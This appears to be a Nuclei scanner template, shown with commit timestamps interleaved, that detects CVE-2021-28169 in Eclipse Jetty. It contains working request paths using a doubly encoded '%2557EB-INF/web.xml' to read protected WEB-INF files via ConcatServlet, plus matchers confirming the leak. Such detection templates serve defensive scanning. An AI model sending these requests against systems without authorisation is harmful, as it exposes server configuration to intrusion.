2021-06-24 16:00:02 +00:00
id : CVE-2021-28169
info :
name : Jetty Utility Servlets Information Disclosure
author : pikpikcu
2021-06-24 18:35:59 +00:00
severity : medium
2021-06-24 16:00:02 +00:00
reference : |
- https://twitter.com/sec715/status/1406787963569065988
- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
description : |
For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
tags : cve,cve2021,jetty
requests :
- method : GET
path :
- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
matchers-condition : and
matchers :
- type : word
words :
2021-06-24 18:32:05 +00:00
- "application/xml"
2021-06-24 16:00:02 +00:00
part : header
- type : word
words :
2021-06-24 18:32:05 +00:00
- "<web-app>"
- "java.sun.com"
2021-06-24 16:00:02 +00:00
part : body
2021-06-24 18:32:05 +00:00
condition : and
2021-06-24 16:00:02 +00:00
- type : status
status :
- 200
